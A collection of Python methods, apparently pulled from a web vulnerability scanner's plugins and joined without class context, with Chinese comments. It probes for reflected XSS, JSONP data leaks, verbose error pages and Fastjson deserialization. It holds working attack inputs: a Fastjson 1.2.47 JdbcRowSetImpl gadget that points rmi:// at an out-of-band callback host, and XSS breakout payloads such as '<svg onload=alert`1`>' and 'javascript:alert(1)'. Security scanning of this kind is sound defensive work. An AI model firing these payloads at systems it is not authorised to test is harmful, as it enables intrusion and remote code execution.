def __init__(self):
self.req = requests.Session()
self._new_api = "http://www.dnslog.cn/getdomain.php?t=0." + random_str(
10, string.digits)
self._check_api = "http://www.dnslog.cn/getrecords.php?t=0." + random_str(
10, string.digits)
self.sleep = REVERSE_SLEEP
def audit(self):
p = urlparse(self.requests.url)
domain = "{}://{}/".format(p.scheme, p.netloc)
payload = "(A({}))/".format(random_str(6))
url = domain + payload
req = requests.get(url, headers=self.requests.headers)
if payload in req.text:
new_payload = "(A(\"onerror='{}'{}))/".format(
random_str(6), random_str(6))
url2 = domain + new_payload
req2 = requests.get(url2, headers=self.requests.headers)
if new_payload in req2.text:
result = self.new_result()
result.init_info(self.requests.url, ".net 通杀xss", VulType.XSS)
result.add_detail("payload回显", req.reqinfo,
generateResponse(req),
"payload:{}回显在页面".format(payload), "", "",
PLACE.GET)
result.add_detail("payload回显", req2.reqinfo,
generateResponse(req2),
"payload:{}回显在页面".format(payload), "", "",
PLACE.GET)
self.success(result)
def generate_payload_1_2_47(self, domain):
# for fastjson 1.2.47
fastjson_payload = {
random_str(4): {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
random_str(4): {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://{}".format(domain),
"autoCommit": True
}
}
return json.dumps(fastjson_payload)
def audit(self):
callbaks = ["callback", "cb", "json"]
params = self.requests.params
isBreak = True
for p in params.keys():
if p.lower() in callbaks:
isBreak = False
break
if isBreak:
return
result = self.check_sentive_content(self.response.text)
if not result:
return
p = urlparse(self.requests.url)
fake_domain = "{}://{}".format(p.scheme, p.netloc) + random_str(
4, string.ascii_lowercase + string.digits) + ".com/"
headers = self.requests.headers
headers["Referer"] = fake_domain
req = requests.get(self.requests.url, headers=headers)
result2 = self.check_sentive_content(req.text)
if not result2:
return
result = ResultObject(self)
result.init_info(self.requests.url, "jsonp敏感信息", VulType.SENSITIVE)
result.add_detail("payload探测", self.requests.raw, self.response.raw,
"发现敏感信息:{}".format(repr(result2)), "", "", PLACE.GET)
self.success(result)
def generate_check_fastjson(self, domain):
payload = {
random_str(4): {
"@type": "java.net.Inet4Address",
"val": domain
}
}
return json.dumps(payload)
def audit(self):
headers = self.requests.headers
p = urlparse(self.requests.url)
domain = "{}://{}/".format(p.scheme, p.netloc) + random_str(6) + ".jsp"
r = requests.get(domain, headers=headers)
messages = sensitive_page_error_message_check(r.text)
if messages:
result = self.new_result()
result.init_info(self.requests.url, "敏感的报错信息", VulType.SENSITIVE)
for m in messages:
text = m["text"]
_type = m["type"]
result.add_detail("payload请求", r.reqinfo, generateResponse(r),
"匹配组件:{} 匹配正则:{}".format(_type, text), "", "", PLACE.GET)
self.success(result)
def generate_rmi_token(self) -> dict:
token = random_str(5)
obj = {"token": token, "fullname": self.rmi_api}
return obj
def generate_http_token(self) -> dict:
token = random_str(5)
obj = {"token": token, "fullname": self.web_api + token}
return obj
def generate_dns_token(self) -> dict:
token = random_str(5)
obj = {"token": token, "fullname": "{}.{}".format(token, self.dns_api)}
return obj
def audit(self):
parse_params = set(getParamsFromHtml(self.response.text))
resp = self.response.text
params_data = {}
self.init()
iterdatas = []
if self.requests.method == HTTPMETHOD.GET:
parse_params = (parse_params | TOP_RISK_GET_PARAMS) - set(
self.requests.params.keys())
for key in parse_params:
params_data[key] = random_str(6)
params_data.update(self.requests.params)
resp = requests.get(self.requests.netloc,
params=params_data,
headers=self.requests.headers).text
iterdatas = self.generateItemdatas(params_data)
elif self.requests.method == HTTPMETHOD.POST:
parse_params = (parse_params) - set(self.requests.post_data.keys())
for key in parse_params:
params_data[key] = random_str(6)
params_data.update(self.requests.post_data)
resp = requests.post(self.requests.url,
data=params_data,
headers=self.requests.headers).text
iterdatas = self.generateItemdatas(params_data)
for origin_dict, positon in iterdatas:
# 先不支持uri上的xss，只支持get post cookie上的xss
if positon == PLACE.URI:
continue
for k, v in origin_dict.items():
v = unquote(v)
if v not in resp:
continue
data = copy.deepcopy(origin_dict)
# 探测回显
xsschecker = "0x" + random_str(6, string.digits + "abcdef")
data[k] = xsschecker
r1 = self.req(positon, data)
if not re.search(xsschecker, r1.text, re.I):
continue
html_type = r1.headers.get("Content-Type", "").lower()
XSS_LIMIT_CONTENT_TYPE = conf.XSS_LIMIT_CONTENT_TYPE
if XSS_LIMIT_CONTENT_TYPE and 'html' not in html_type:
continue
# 反射位置查找
locations = SearchInputInResponse(xsschecker, r1.text)
if len(locations) == 0:
# 找不到反射位置，找下自己原因?
flag = random_str(5)
payload = "<{}//".format(flag)
data[k] = payload
req = self.req(positon, data)
if payload in req.text:
self.result.add_detail(
"html代码未转义", req.reqinfo, generateResponse(req),
"可使用<svg onload=alert`1`// 进行攻击测试,注意返回格式为:" +
html_type, k, data[k], positon)
for item in locations:
_type = item["type"]
details = item["details"]
if _type == "html":
if details["tagname"] == "style":
payload = "expression(a({}))".format(
random_str(6, string.ascii_lowercase))
data[k] = payload
req = self.req(positon, data)
_locations = SearchInputInResponse(
payload, req.text)
for _item in _locations:
if payload in _item["details"][
"content"] and _item["details"][
"tagname"] == "style":
self.result.add_detail(
"IE下可执行的表达式", req.reqinfo,
generateResponse(req.text),
"IE下可执行的表达式 expression(alert(1))", k,
data[k], positon)
break
flag = random_str(7)
payload = "</{}><{}>".format(
random_upper(details["tagname"]), flag)
truepayload = "</{}>{}".format(
random_upper(details["tagname"]),
"<svg onload=alert`1`>")
data[k] = payload
req = self.req(positon, data)
_locations = SearchInputInResponse(flag, req.text)
for i in _locations:
if i["details"]["tagname"] == flag:
self.result.add_detail(
"html标签可被闭合", req.reqinfo,
generateResponse(req),
"<{}>可被闭合,可使用{}进行攻击测试,注意返回格式为:{}".format(
details["tagname"], truepayload,
html_type), k, data[k], positon)
break
elif _type == "attibute":
if details["content"] == "key":
# test html
flag = random_str(7)
payload = "><{} ".format(flag)
truepayload = "><svg onload=alert`1`>"
data[k] = payload
req = self.req(positon, data)
_locations = SearchInputInResponse(flag, req.text)
for i in _locations:
if i["details"]["tagname"] == flag:
self.result.add_detail(
"html标签可被闭合", req.reqinfo,
generateResponse(req),
"<{}>可被闭合,可使用{}进行攻击测试,注意返回格式为:{}".
format(details["tagname"], truepayload,
html_type), k, data[k], positon)
break
# test attibutes
flag = random_str(5)
payload = flag + "="
data[k] = payload
req = self.req(positon, data)
_locations = SearchInputInResponse(flag, req.text)
for i in _locations:
for _k, v in i["details"]["attibutes"]:
if _k == flag:
self.result.add_detail(
"可自定义任意标签事件", req.reqinfo,
generateResponse(req),
"可以自定义类似 'onmouseover=prompt(1)'的标签事件,注意返回格式为:"
+ html_type, k, payload, positon)
break
else:
# test attibutes
flag = random_str(5)
for _payload in ["'", "\"", " "]:
payload = _payload + flag + "=" + _payload
truepayload = "{payload} onmouseover=prompt(1){payload}".format(
payload=_payload)
data[k] = payload
req = self.req(positon, data)
_occerens = SearchInputInResponse(
flag, req.text)
for i in _occerens:
for _k, _v in i["details"]["attibutes"]:
if _k == flag:
self.result.add_detail(
"引号可被闭合，可使用其他事件造成xss",
req.reqinfo,
generateResponse(req),
"可使用payload:{},注意返回格式为:{}".
format(truepayload, html_type),
k, payload, positon)
break
# test html
flag = random_str(7)
for _payload in [r"'><{}>", "\"><{}>"]:
payload = _payload.format(flag)
data[k] = payload
req = self.req(positon, data)
_occerens = SearchInputInResponse(
flag, req.text)
for i in _occerens:
if i["details"]["tagname"] == flag:
self.result.add_detail(
"html标签可被闭合", req.reqinfo,
generateResponse(req),
"可测试payload:{}".format(
_payload.format(
"svg onload=alert`1`")) +
",返回格式为:" + html_type, k, data[k],
positon)
break
# 针对特殊属性进行处理
specialAttributes = [
'srcdoc', 'src', 'action', 'data', 'href'
] # 特殊处理属性
keyname = details["attibutes"][0][0]
tagname = details["tagname"]
if keyname in specialAttributes:
flag = random_str(7)
data[k] = flag
req = self.req(positon, data)
_occerens = SearchInputInResponse(
flag, req.text)
for i in _occerens:
if len(i["details"]["attibutes"]) > 0 and i["details"]["attibutes"][0][
0] == keyname and \
i["details"]["attibutes"][0][1] == flag:
truepayload = flag
if i["details"]["attibutes"][0][
0] in specialAttributes:
truepayload = "javascript:alert(1)"
self.result.add_detail(
"值可控", req.reqinfo,
generateResponse(req),
"{}的值可控，可能被恶意攻击,payload:{},注意返回格式为:{}"
.format(keyname, truepayload,
html_type), k, data[k],
positon)
break
elif keyname == "style":
payload = "expression(a({}))".format(
random_str(6, string.ascii_lowercase))
data[k] = payload
req = self.req(positon, data)
_occerens = SearchInputInResponse(
payload, req.text)
for _item in _occerens:
if payload in str(_item["details"]) and len(_item["details"]["attibutes"]) > 0 and \
_item["details"]["attibutes"][0][0] == keyname:
self.result.add_detail(
"IE下可执行的表达式", req.reqinfo,
generateResponse(req.text),
"IE下可执行的表达式 payload:expression(alert(1))",
k, data[k], positon)
break
elif keyname.lower() in XSS_EVAL_ATTITUDES:
# 在任何可执行的属性中
payload = random_str(6, string.ascii_lowercase)
data[k] = payload
req = self.req(positon, data)
_occerens = SearchInputInResponse(
payload, req.text)
for i in _occerens:
_attibutes = i["details"]["attibutes"]
if len(_attibutes) > 0 and _attibutes[0][
1] == payload and _attibutes[0][
0].lower() == keyname.lower():
self.result.add_detail(
"事件的值可控", req.reqinfo,
generateResponse(req),
"{}的值可控，可能被恶意攻击,注意返回格式为:{}".format(
keyname, html_type), k,
data[k], positon)
break
elif _type == "comment":
flag = random_str(7)
for _payload in ["-->", "--!>"]:
payload = "{}<{}>".format(_payload, flag)
truepayload = payload.format(
_payload, "svg onload=alert`1`")
data[k] = payload
req = self.req(positon, data)
_occerens = SearchInputInResponse(flag, req.text)
for i in _occerens:
if i["details"]["tagname"] == flag:
self.result.add_detail(
"html注释可被闭合", req.reqinfo,
generateResponse(req),
"html注释可被闭合 测试payload:{},注意返回格式为:{}".
format(truepayload,
html_type), k, data[k], positon)
break
elif _type == "script":
# test html
flag = random_str(7)
script_tag = random_upper(details["tagname"])
payload = "</{}><{}>{}</{}>".format(
script_tag, script_tag, flag, script_tag)
truepayload = "</{}><{}>{}</{}>".format(
script_tag, script_tag, "prompt(1)", script_tag)
data[k] = payload
req = self.req(positon, data)
_occerens = SearchInputInResponse(flag, req.text)
for i in _occerens:
if i["details"]["content"] == flag and i[
"details"]["tagname"].lower(
) == script_tag.lower():
self.result.add_detail(
"可以新建script标签执行任意代码", req.reqinfo,
generateResponse(req),
"可以新建script标签执行任意代码 测试payload:{},注意返回格式为:{}"
.format(truepayload,
html_type), k, data[k], positon)
break
# js 语法树分析反射
source = details["content"]
_occurences = SearchInputInScript(xsschecker, source)
for i in _occurences:
_type = i["type"]
_details = i["details"]
if _type == "InlineComment":
flag = random_str(5)
payload = "\n;{};//".format(flag)
truepayload = "\n;{};//".format('prompt(1)')
data[k] = payload
resp = self.req(positon, data).text
for _item in SearchInputInResponse(flag, resp):
if _item["details"]["tagname"] != "script":
continue
resp2 = _item["details"]["content"]
output = SearchInputInScript(flag, resp2)
for _output in output:
if flag in _output["details"][
"content"] and _output[
"type"] == "ScriptIdentifier":
self.result.add_detail(
"js单行注释bypass", req.reqinfo,
generateResponse(req),
"js单行注释可被\\n bypass,注意返回格式为:" +
html_type.format(truepayload),
k, data[k], positon)
break
elif _type == "BlockComment":
flag = "0x" + random_str(4, "abcdef123456")
payload = "*/{};/*".format(flag)
truepayload = "*/{};/*".format('prompt(1)')
data[k] = payload
resp = self.req(positon, data).text
for _item in SearchInputInResponse(flag, resp):
if _item["details"]["tagname"] != "script":
continue
resp2 = _item["details"]["content"]
output = SearchInputInScript(flag, resp2)
for _output in output:
if flag in _output["details"][
"content"] and _output[
"type"] == "ScriptIdentifier":
self.result.add_detail(
"js块注释可被bypass", req.reqinfo,
generateResponse(req),
"js单行注释可被\\n bypass,注意返回格式为:" +
html_type.format(truepayload),
k, data[k], positon)
break
elif _type == "ScriptIdentifier":
self.result.add_detail(
"可直接执行任意js命令", req.reqinfo,
generateResponse(req),
"ScriptIdentifier类型 测试payload：prompt(1);//,注意返回格式为:"
+ html_type, k, data[k], positon)
elif _type == "ScriptLiteral":
content = _details["content"]
quote = content[0]
flag = random_str(6)
if quote == "'" or quote == "\"":
payload = '{quote}-{rand}-{quote}'.format(
quote=quote, rand=flag)
truepayload = '{quote}-{rand}-{quote}'.format(
quote=quote, rand="prompt(1)")
else:
flag = "0x" + random_str(4, "abcdef123456")
payload = flag
truepayload = "prompt(1)"
data[k] = payload
resp = self.req(positon, data).text
resp2 = None
for _item in SearchInputInResponse(
payload, resp):
if payload in _item["details"][
"content"] and _item[
"type"] == "script":
resp2 = _item["details"]["content"]
if not resp2:
continue
output = SearchInputInScript(flag, resp2)
if output:
for _output in output:
if flag in _output["details"][
"content"] and _output[
"type"] == "ScriptIdentifier":
self.result.add_detail(
"script脚本内容可被任意设置",
req.reqinfo,
generateResponse(req),
"测试payload:{},注意返回格式为:{}".
format(truepayload, html_type),
k, data[k], positon)
break
# ssti检测
# r1 = self.test_ssti(data, k, positon)
# if r1:
# r2 = self.test_ssti(data, k, positon)
# if r2:
# result = self.new_result()
# result.init_info(self.requests.url, "SSTI模板注入", VulType.XSS)
# result.add_detail("第一次payload请求", r1["request"], r1["response"],
# r1["desc"], k, r1["payload"], positon)
# result.add_detail("第二次payload请求", r2["request"], r2["response"],
# r2["desc"], k, r2["payload"], positon)
# self.success(result)
# break
if len(self.result.detail) > 0:
self.success(self.result)
